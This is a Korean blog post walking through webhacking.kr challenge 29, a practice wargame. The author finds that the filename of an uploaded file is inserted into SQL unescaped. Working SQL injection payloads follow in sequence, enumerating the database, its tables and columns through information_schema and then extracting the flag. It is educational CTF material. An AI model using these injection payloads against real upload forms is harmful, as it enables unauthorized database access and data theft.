Security/Web 문제풀기

Webhacking.kr 29번

하얀콩토리 2021. 1. 26. 00:16

webhacking.kr 29번 문제를 풀어보자.

처음 들어가면 보이는 화면이다.

파일을 선택 후 제출하는 버튼이 있다. 그냥 아무 파일이나 한번 업로드해보자.

나는 그냥 메모장에 New File이라는 제목을 달고 올려보았다.

올렸더니 위 사진과 같이 올린 시간, ip, 그리고 file 이름이 올라가는걸 볼 수 있다.

버프스위트로 파일 올리는 과정을 intercept 해보니 filename=""에 파일 이름이 들어간다는 것을 알 수 있다.

(가상환경으로 kali linux를 사용 중이다)

filename=""의 "" 안에

파일이름',시간,'ip주소')#

을 넣으면 아래와 같이 파일이 정상적으로 업로드됨을 확인할 수 있다.
파일이름, 시간, ip주소 순서인 이유는

노가다로

알 수 있다.(ㅎ)

칼럼 순서가 파일이름, 시간, ip주소였던 것이다.

구해야 하는 것은 다른 테이블에 있는 flag이다.

그럼 우선 DB 이름을 알아내야한다.

DB 이름을 알기 위해 위에서 사용한 코드의 괄호 뒤에 , 를 넣어 파일명 대신 select 문을 이용해 DB명을 알아내자!

new’,1234,’124.50.4.138),((SELECT database()),1234,’124.50.4.138)#

위와 같은 코드를 filename=""의 "" 안에 넣으면 된다.

DB 이름이 chall29라는 것을 알 수 있다.

이제 테이블 명을 알아보자.

DB에서 테이블은 2개 이상일 수 있으니 group_concat 함수를 이용해 테이블 이름을 모두 출력해보자.

new',1234,'124.50.4.138),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'), 1234, ‘124.50.4.138)#

 

출력된 테이블명은 files와 flag_congratz이다.

이 중 flag가 들어 있는 테이블은 flag_congratz일 것이다.

이제 칼럼명을 찾아보자.

칼럼명도 2개 이상일 수 있으니 group_concat 함수를 이용해 모두 출력해본다.

new',1234,'124.50.4.138'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'),1234,'124.50.4.138')#

 

칼럼명이 flag이다.

이제 flag 값을 찾아보자.

new',1234,'124.50.4.138'),((SELECT flag FROM flag_congratz),1234,'124.50.4.138')#

flag 값이 나왔다.

꽤 복잡하고 노가다스러운 문제였다...

sorry하면 다냐...?